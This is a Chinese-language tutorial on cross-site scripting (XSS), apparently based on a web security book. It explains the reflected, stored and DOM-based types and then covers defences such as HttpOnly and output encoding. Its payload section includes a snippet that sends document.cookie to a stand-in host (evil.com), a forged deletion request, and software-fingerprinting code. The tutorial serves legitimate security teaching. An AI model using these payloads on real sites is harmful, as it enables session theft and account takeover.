1. 程式人生 > >Web安全之跨站腳本攻擊(XSS)

Web安全之跨站腳本攻擊(XSS)

sca 各類 隱藏 word create 十六 請求 後臺 轉換成

XSS 簡介

跨站腳本攻擊,英文全稱是 Cross Site Script,本來縮寫是CSS,但是為了和層疊樣式表(Cascading Style Sheet,CSS)有所區別,所以在安全領域叫做“XSS”。

XSS 攻擊,通常指黑客利用網站沒有對用戶提交數據進行轉義處理或者過濾不足的缺點,從而通過“HTML註入”篡改了網頁,插入了惡意的腳本,然後在用戶瀏覽網頁時,控制用戶瀏覽器(盜取用戶資料、利用用戶身份進行某種動作或者對訪問者進行病毒侵害)的一種攻擊方式。

XSS 危害

  1. 盜取各類用戶帳號,如機器登錄帳號、用戶網銀帳號、各類管理員帳號

  2. 控制企業數據,包括讀取、篡改、添加、刪除企業敏感數據的能力

  3. 盜竊企業重要的具有商業價值的資料

  4. 非法轉賬

  5. 強制發送電子郵件

  6. 網站掛馬

  7. 控制受害者機器向其它網站發起攻擊

XSS 分類

反射型 XSS

反射型 XSS 也叫做“非持久型XSS”(Non-per-sistent XSS),它是最常見的類型的 XSS。

反射型 XSS 只是簡單地把用戶輸入的數據“反射”給瀏覽器。也就是說,黑客往往需要誘使用戶“點擊”一個惡意鏈接,才能攻擊成功。

簡單例子

假設一個頁面把用戶輸入的參數直接輸出到頁面上:

// test.php
<?php
    $input = $_GET["param"];
    echo "<div>".$input."</div>";
?>
正常情況

用戶向 param 提交的數據會展示到頁面中,比如提交:

http://www.a.com/test.php?param=這是一個測試!

這樣在頁面就會顯示 這是一個測試!

非正常情況

但是如果提交一段HTML代碼:

http://www.a.com/test.php?param=<script>alert(/xss/)</script>

此時頁面源碼以及嵌入 <script>alert(/xss/)</script>,那麽 alert(/xss/) 將會在當前頁面執行,而這顯然不是開發者所希望看到的,對於黑客來說這樣就完成了一次攻擊了。

存儲型 XSS

存儲型 XSS 通常也叫做“持久型XSS”(Persistent XSS),因為從效果上來說,它存在的時間是比較長的。

存儲型 XSS 會把用戶輸入的數據“存儲”在服務器端。這種 XSS 具有很強的穩定性。

簡單例子

假設在文章下面的評論區有這樣的一個評論表單提交代碼:

<input type="text" name="content" value="這裏是用戶填寫的數據">
正常情況

用戶提交正常的評論內容(如 “這是一篇好文章啊!”),然後該評論內容將存儲到數據庫中。等其他用戶查看該文章時,從數據庫將評論內容取出並顯示。

非正常情況

黑客提交 <script>alert(/xss/)</script> 這樣的評論內容,然後該評論內容將存儲到數據庫中。等其他用戶查看該文章時,從數據庫中取出並顯示,此時瀏覽器將執行這段攻擊代碼。

DOM Based XSS

實際上,這種類型的 XSS 並非按照“數據是否保存在服務器端”來劃分,DOM Based XSS 從效果上來說也是反射型 XSS。單獨劃分出來,是因為 DOM Based XSS 的形成原因比較特別,發現它的安全專家專門提出了這種類型的 XSS。出於歷史原因,也就把它單獨作為一個分類了。

DOM Based XSS 通過修改頁面的 DOM 節點形成的 XSS。

簡單例子

<script>
    function test(){
        var str = document.getElementById("text").value;
        document.getElementById("t").innerHTML = "<a href=‘"+str+"‘ >testLink</a>";
    }
</script>

<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />
正常情況

點擊“write”按鈕後,會在當前頁面插入一個超鏈接,其地址為文本框的內容。

非正常情況

在文本框輸入 ‘ onclick=alert(/xss/) //,這樣生成的超鏈接為 <a href=‘‘ onlick=alert(/xss/)//‘ >testLink</a>,原理就是用一個單引號閉合掉href的第一個單引號,然後插入一個onclick事件,最後再用註釋符“//”註釋掉第二個單引號。這樣點擊新生成的超鏈接,就會執行攻擊代碼了。

還有另外一種攻擊方式,將 <a> 標簽閉合掉,然後插入一個新的 HTML 標簽,如下示例:

在文本框輸入 ‘><img src=# onerror=alert(/xss2/) /><‘,這樣生成的超鏈接變為 <a href=‘‘><img src=# onerror=alert(/xss2/) /><‘‘ >testLink</a>,圖片加載失敗之後就會執行攻擊代碼了。

XSS Payload

前文談到了 XSS 的幾種分類。接下來,就從攻擊的角度來體驗一下 XSS 的威力。

XSS 攻擊成功後,攻擊者能夠對用戶當前瀏覽的頁面植入惡意腳本,通過惡意腳本,控制用戶的瀏覽器。這些用以完成各種具體功能的惡意腳本,被稱為“XSS Payload”。

XSS Payload 實際上就是 JavaScript 腳本(還可以是 Flash 或其他富客戶端的腳本),所以任何 JavaScript 腳本能實現的功能,XSS Payload 都能做到。

通過 XSS Payload 可以實現如下攻擊:

在當前的 Web 中,Cookie 一般是用戶登錄的憑證,瀏覽器發起的所有請求都會自動帶上 Cookie。如果 Cookie 沒有綁定客戶端信息,當攻擊者竊取了 Cookie 後,就可以不用密碼登錄進用戶的賬戶。

攻擊代碼:

var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

這段代碼在頁面中插入了一張看不見的圖片,同時把 document.cookie 對象作為參數發送到遠程服務器,這樣,就完成了一個簡單的竊取 Cookie 的 XSS Payload。

然後使用竊取到的 Cookie 通過自定義 Cookie 的方式訪問網站,達到登錄目標用戶的賬戶的目的。

構造 GET 與 POST 請求

一個網站通過 HTTP 協議中的 GET 或 POST 請求即可完成所有操作,因此可通過讓瀏覽器對目標網站發起這兩種請求來達到攻擊的目的。

假設某個網站有這樣的一個刪除文章的請求:

http://www.test.com/blog/delete?id=156713012

對於攻擊者來說,只需要知道文章的 id,就能夠通過這個請求刪除這篇文章了。

攻擊代碼:

var img = document.createElement("img");
img.src = "http://www.test.com/blog/delete?id=156713012";
document.body.appendChild(img);

攻擊者只需要讓博客的作者執行這段 JavaScript 代碼(XSSPayload),就會把這篇文章刪除。在具體攻擊中,攻擊者將通過 XSS 誘使用戶執行 XSS Payload。

XSS 釣魚

如果通過構造 POST 請求(表單提交)進行攻擊時,在提交表單時要求用戶輸入驗證碼,那麽一般的 XSS Payload 都會失效;此外,在大多數“修改用戶密碼”的功能中,在提交新密碼前,都會要求用戶輸入“Old Password”。而這個“Old Password”,對於攻擊者來說,往往是不知道的。

對於驗證碼,XSS Payload 可以通過讀取頁面內容,將驗證碼的圖片 URL 發送到遠程服務器上來實施——黑客可以在遠程XSS後臺接收當前驗證碼,並將驗證碼的值返回給當前的 XSS Payload,從而繞過驗證碼。

修改密碼的問題稍微復雜點。為了竊取密碼,攻擊者可以將 XSS 與“釣魚”相結合。實現思路很簡單:利用 JavaScript 在當前頁面上“畫出”一個偽造的登錄框,當用戶在登錄框中輸入用戶名與密碼後,其密碼將被發送至黑客的服務器上。

識別用戶瀏覽器

  1. 讀取瀏覽器的 UserAgent 對象。

  2. 由於瀏覽器之間的實現存在差異——不同的瀏覽器會各自實現一些獨特的功能,而同一個瀏覽器的不同版本之間也可能會有細微差別。所以通過分辨這些瀏覽器之間的差異,就能準確地判斷出瀏覽器版本,而幾乎不會誤報。這種方法比讀取UserAgent要準確得多。

識別用戶安裝的軟件

知道了用戶使用的瀏覽器、操作系統後,進一步可以識別用戶安裝的軟件。

在IE中,可以通過判斷 ActiveX 控件的 classid 是否存在,來推測用戶是否安裝了該軟件。這種方法很早就被用於“掛馬攻擊”——黑客通過判斷用戶安裝的軟件,選擇對應的瀏覽器漏洞,最終達到植入木馬的目的。

攻擊代碼:

try {
    var Obj = new ActiveXObject(‘XunLeiBHO.ThunderIEHelper’);
} catch (e) {
    // 異常了,不存在該控件
}

這段代碼檢測迅雷的一個控件(“XunLeiBHO.Thun-derIEHelper”)是否存在。如果用戶安裝了迅雷軟件,則默認也會安裝此控件。因此通過判斷此控件,即可推測用戶安裝了迅雷軟件的可能性。

CSS History Hack

我們再看看另外一個有趣的 XSS Payload——通過 CSS,來發現一個用戶曾經訪問過的網站。其原理是利用 style 的 visited 屬性——如果用戶曾經訪問過某個鏈接,那麽這個鏈接的顏色會變得與眾不同。

獲取用戶的真實 IP 地址

通過 XSS Payload 還有辦法獲取一些客戶端的本地IP地址。

很多時候,用戶電腦使用了代理服務器,或者在局域網中隱藏在 NAT 後面。網站看到的客戶端IP地址,是內網的出口IP地址,而並非用戶電腦真實的本地IP地址。如何才能知道用戶的本地IP地址呢?

JavaScript 本身並沒有提供獲取本地IP地址的能力,有沒有其他辦法?一般來說,XSS 攻擊需要借助第三方軟件來完成。比如,客戶端安裝了 Java 環境(JRE),那麽 XSS 就可以通過調用 Java Applet 的接口獲取客戶端的本地 IP 地址。

XSS 防禦

HttpOnly

瀏覽器禁止頁面的 JavaScript 訪問帶有 HttpOnly 屬性的 Cookie。因此 HttpOnly 可以對抗 XSS 後的 Cookie 劫持攻擊。

輸入檢查

常見的Web漏洞如 XSS、SQL Injection等,都要求攻擊者構造一些特殊字符,這些特殊字符可能是正常用戶不會用到的,所以輸入檢查就有存在的必要了。

輸入檢查,在很多時候也被用於格式檢查。例如,用戶在網站註冊時填寫的用戶名,會被要求只能為字母、數字的組合。比如“hello1234”是一個合法的用戶名,而“hello#$^”就是一個非法的用戶名。

又如註冊時填寫的電話、郵件、生日等信息,都有一定的格式規範。比如手機號碼,應該是不長於16位的數字,且中國大陸地區的手機號碼可能是13x、15x開頭的,否則即為非法。

這些格式檢查,有點像一種“白名單”,也可以讓一些基於特殊字符的攻擊失效。

輸入檢查的邏輯,必須放在服務器端代碼中實現。如果只是在客戶端使用JavaScript進行輸入檢查,是很容易被攻擊者繞過的。目前Web開發的普遍做法,是同時在客戶端JavaScript中和服務器端代碼中實現相同的輸入檢查。客戶端JavaScript的輸入檢查,可以阻擋大部分誤操作的正常用戶,從而節約服務器資源。

輸出檢查

既然“輸入檢查”存在這麽多問題,那麽“輸出檢查”又如何呢?

一般來說,除了富文本的輸出外,在變量輸出到 HTML 頁面時,可以使用編碼或轉義的方式來防禦 XSS 攻擊。

安全編碼函數

編碼分為很多種,針對 HTML 代碼的編碼方式是 HtmlEn-code。

HtmlEncode 並非專用名詞,它只是一種函數實現。它的作用是將字符轉換成 HTMLEntities,對應的標準是 ISO-8859-1。

為了對抗 XSS,在 HtmlEncode 中要求至少轉換以下字符:

& --> &amp;

< --> &lt;

>--> &gt;

" --> &quot;

‘ --> &#x27;   &apos; 不推薦

/ --> &#x2F; 包含反斜線是因為它可能會閉合一些 HTML entity

JavaScript 的編碼方式可以使用 JavascriptEncode。JavascriptEncode 與 HtmlEncode 的編碼方法不同,它需要使用“”對特殊字符進行轉義。在對抗 XSS 時,還要求輸出的變量必須在引號內部,以避免造成安全問題。比較下面兩種寫法:

var x = escapeJavascript($evil);
var y = ‘"‘+escapeJavascript($evil)+‘"‘;

如果 escapeJavascript() 函數只轉義了幾個危險字符,比如 ‘、”、<、>、\、&、# 等,那麽上面的兩行代碼輸出後可能會變成:

var x = 1;alert(2); // 執行了額外的代碼
var y = "1;alert(2)"; // 安全

所以要求使用 JavascriptEncode 的變量輸出一定要在引號內。

可是很多開發者沒有這個習慣怎麽辦?這就只能使用一個更加嚴格的 JavascriptEncode 函數來保證安全——除了數字、字母外的所有字符,都使用十六進制“\xHH”的方式進行編碼。在本例中:

var x = 1;alert(2); 變為 var x = 1\x3balert\x282\x29; // 保證是安全的

參考

《白帽子講Web安全》

Web安全之跨站腳本攻擊(XSS)